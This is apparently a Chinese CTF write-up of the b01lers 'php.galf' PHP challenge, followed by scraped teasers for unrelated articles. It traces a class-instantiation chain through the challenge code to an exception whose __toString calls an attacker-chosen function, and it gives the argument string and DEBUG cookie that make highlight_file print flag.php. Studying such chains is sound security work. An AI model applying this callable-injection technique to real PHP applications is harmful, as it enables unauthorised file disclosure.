b01lers(php.galf)

news/2024/11/27 21:40:46/

目录

前文

 正文


前文

<?phpclass A{public $code=NULL;public $args=NULL;public function __construct($code,$args=NULL){$this->code=$code;$this->args=$args;print_r("2333") ;}
public function __invoke($code,$args){echo $code;print_r("执行invoke") ;}
}
$B=new A(55,66);
$B(33,44);

233 333执行invoke说明执行了construct和invoke

 throw new A(55, 100);也会对construct进行初始化

然后肯定是从index.php开始出发,php文件不算太多,可以逐个看一下出口也就是能够命令执行获得flag的地方。

最终可以在noitpecxe.php下面找到可疑点,因为这俩参数还是构造函数传进来的,也就是说我们可以通过调用实参来操作。

 正文

index.php

<?phpdefine('block', TRUE);require("parser/syntaxreader.php");include("flag.php");$code = "ohce ohce ohce ohce ohce ohce ohce";$args = "flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreader";$result = NULL;if (!isset($_COOKIE['DEBUG'])){//如果cookie中不存在,DEBUG$result = new syntaxreader($code, $args);} else if (strcmp($_COOKIE['DEBUG'], hash("md5")) == 0) {echo "Warning: Adming debugging enabled!";$result = new syntaxreader($code, $args, NULL);} else {$debug = array("Debugging Enabled!", 69);$result = new syntaxreader($code, $args, $debug);}$result->run();?>

这里code args是post传参可控,我这里直接把答案先写出来方便理解。

这里肯定会调用 syntaxreader的构造函数,看了一下三者的区别,其实就是末尾的debug传参的问题,第一个if和第二个elseif都是NULL,但是第三个确有值,这是唯一的差别。

syntaxreader.php 

public function __construct($lines, $args, $debug = NULL) {$this->code = explode("\n", $lines);//这里使用\n作为分隔符号,切成数组$this->args = $args;$this->result = $result;if (isset($debug)) {//这里不可能执行到的// disable debugging modethrow new noitpecxe(...$debug);}}

如果debug为true的话那么就可以直接初始化noipecxe,然后这里正好是我们一开始想到的漏洞点,直接让$error_func($this->message); ==== hightlight(flag.php)

这里说明一下数组传参,  $debug数组传参就会把参数逐个给形参也就是

(message,code,previous,error_func)

(flag.php,aa,aa,highlight)

noipecxe.php

<?php
class noitpecxe extends Exception
{public $error_func = NULL;public function __construct($message, $code, $previous = null, $error_func = "printf") {// remove when PHP 5.3 is no longer supported$this->error_func = $error_func;//printf$this->message = $message;//args的值,是个数组$previous = NULL;//dont care what ur code is LOL!$code = 69;parent::__construct($message, $code, $previous);}public function __toString() {$error_func = $this->error_func;//这里引用到了另一个函数$error_func($this->message);return __CLASS__ . ": {$this->code}\n";}
}
?>
$result->run(); ::parse

里面作用就是分割数组,并且code的值一定要一直是oche

public function parse() {$parsable = array("ohce");$arg_val = 0;$code = $this->code;$args = $this->args;$result = $this->result;for ($i = 0; $i < count($code); $i++) {//去掉刚才数组分割中的空格$code[$i] = trim($code[$i]);}$args = explode(",", $args);for ($i = 0; $i < count($args); $i++) {//对传入的args进行,分割且去掉空格$args[$i] = trim($args[$i]);}for ($i = 0; $i < count($code); $i++) {$token = explode(" ", $code[$i]);//通过空格继续分割for ($j = 0; $j < count($token); $j++) {try {if (!in_array($token[$j], $parsable)) {//这里必须要满足里面ohcethrow new noitpecxe("Non-Parsable Keyword!\n", 101);}if ($args[$arg_val] == NULL) {//args传入的不能为空throw new noitpecxe("No Arguments!\n", 990);}if ($args[$arg_val] === "noitpecxe") {//不能是这个的值throw new noitpecxe("No Exceptions!\n", 100);}$class = new $token[$j];//玄机在这里,这里肯定是一个跳转类的东西$class($args, $arg_val);//我们可以根据参数来看调的哪个$arg_val++;} catch (noitpecxe $e) {echo "Error Executing Code! Error: " . $e . "\n";}}

 然后就会调用oche.php

  public function __invoke($args, $arg_val) {$this->args = $args[$arg_val];$arg_val++;$parsable = array("orez_lum", "orez_dda");if (in_array($this->args, $parsable)) { // we can run operators in ohce!$class = new $this->args;$this->result = $class($args, $arg_val);} else {$this->result = $this->args;}$this->result = strrev($this->result) . "\n";echo $this->result;}

orez_lum和orez_dda内容几乎一样,调用谁都一样,然后调用orez_vid

为什么要调用它呢,看一下传参值

$class($arg, $arg_val); 
orez_vid  ($arg = "div", $arg_val = 0, $result = NULL)
new $arg[$arg_val]("div", $result, $arg);  
syntaxreader public function __construct($lines, $args, $debug = NULL)
throw new noitpecxe(...$debug);
public function __construct($message, $code, $previous = null, $error_func = "printf")

所以我们一开始传入的arg就可以一条线的到达我们的执行命令,然后就是看一下中间的条件,只有

$_COOKIE['DEBUG']存在即可和上面的index.php判断一样,ok结束
 public function __invoke($arg = "div", $arg_val = 0, $result = NULL) {if (!isset($_COOKIE['DEBUG'])) {  //just gonna prevent people from using thisthrow new noitpecxe("You need to enable debugging mode to access this!\n", 0);}if ($arg[$arg_val] == NULL) {throw new noitpecxe("No Arguments!\n", 990);}if ($arg[$arg_val] === "noitpecxe") {throw new noitpecxe("No Exceptions!\n", 100);}if (isset($result)) {throw new noitpecxe("No dividing by zero!\n", 0);}// smart to call the constructor so there is an exception! I was a genius!$class = new $arg[$arg_val]("div", $result, $arg);$arg_val++;$this->result = $arg[$arg_val] / 0; // dividing by zero??return $this->result;}

这里卡了一下,debug是数组类型的,这点可以看php中赋值得知。 

就是我们输入的code是以空格分割的,这里+就是空格的意思,但我用空格也过去了qwq        ,一定要静下心来审计!!!


http://www.ppmy.cn/news/35006.html

相关文章

[入门必看]数据结构2.3:线性表的链式表示

[入门必看]数据结构2.3&#xff1a;线性表的链式表示第二章 线性表2.3 线性表的链式表示知识总览2.3.1 单链表的定义2.3.2_1 单链表的插入删除2.3.2_2 单链表的查找2.3.2_3 单链表的建立2.3.3 双链表2.3.4 循环链表2.3.5 静态链表2.3.6 顺序表和链表的比较2.3.1 单链表的定义单…

【3.24】Mybatis常见面试题

Mybatis常见面试题 #{}和&#xffe5;{}的区别是什么&#xff1f; 【#】&#xff1a;底层执行SQL使用PreparedStatement对象&#xff0c;预编译SQL&#xff0c;相对安全。入参使用占位符的方式。 【$】&#xff1a;底层执行SQL使用Statement对象&#xff0c;入参使用SQL拼接的…

upload-lab通关

1.pass-1 前端js检查&#xff0c;修改js或修改后缀绕过查看源代码&#xff0c;可以发现是客户端的进行检查:两种方法&#xff1a;(1).禁用js或修改js代码(2).抓包修改后缀这里采用抓包修改后缀先改成可以上传的后缀名&#xff0c;在抓包修改后缀名为php1.php代码<?php phpi…

特殊的LaTex数学符号

LaTeX符号说明\partial∂\partial∂\DeltaΔ\DeltaΔ\betaβ\betaβ\piπ\piπ\alphaα\alphaα\thetaθ\thetaθ\xiξ\xiξ\varphiφ\varphiφ\times\times乘\div\div除\dfrac{dz}{dx}dzdx\dfrac{dz}{dx}dxdz​分号\neq≠\neq不等于\approx≈\approx≈约等于\equiv≡\equiv≡…

【华为OD】几何平均值最大子数组_ [二分查找+前缀和]

目录 一. 🌟 题目描述二. 🌟 输入描述三. 🌟 输出描述3.13.2 用例四. 🌟 题目解析五. 🌟 Java玩法六. 🌟 JavaScript玩法一. 🌟 题目描述 从一个长度为 N 的正数数组 numbers 中找出长度至少为 L 且几何平均值最大子数组,并输出其位置和大小。(K 个数的几何平均…

【百面成神】spring基础12问,你能坚持到第几问

前 言 &#x1f349; 作者简介&#xff1a;半旧518&#xff0c;长跑型选手&#xff0c;立志坚持写10年博客&#xff0c;专注于java后端 ☕专栏简介&#xff1a;java面试宝典&#xff0c;特点&#xff1a;全、精、深、简&#xff0c;力求每个核心知识点1分钟回答好。 &#x1f3…

Python用湖南天气详情数据(可惜没雨),进行简单的可视化分析

前言 Echarts是一个开源的数据可视化JS库&#xff0c;pyecharts是一款将python与echarts结合的强大的数据可视化工具 开发环境 python 3.8pycharm 2022.3.2 完整源码看这里这里&#x1f448;&#x1f448;&#x1f448; 先来获取我们想要的天气数据 请求数据 因为是静态网…

数据仓库相关面试题

1.请介绍一下星型模型和雪花模型的区别及适用场景。 星型模型和雪花模型是数据仓库中常见的两种数据建模方式。 星型模型是由一个中心事实表和多个与之相关的维度表构成的&#xff0c;维度表通常只有一层&#xff0c;每个维度表只关联一个事实表。在星型模型中&#xff0c;事实…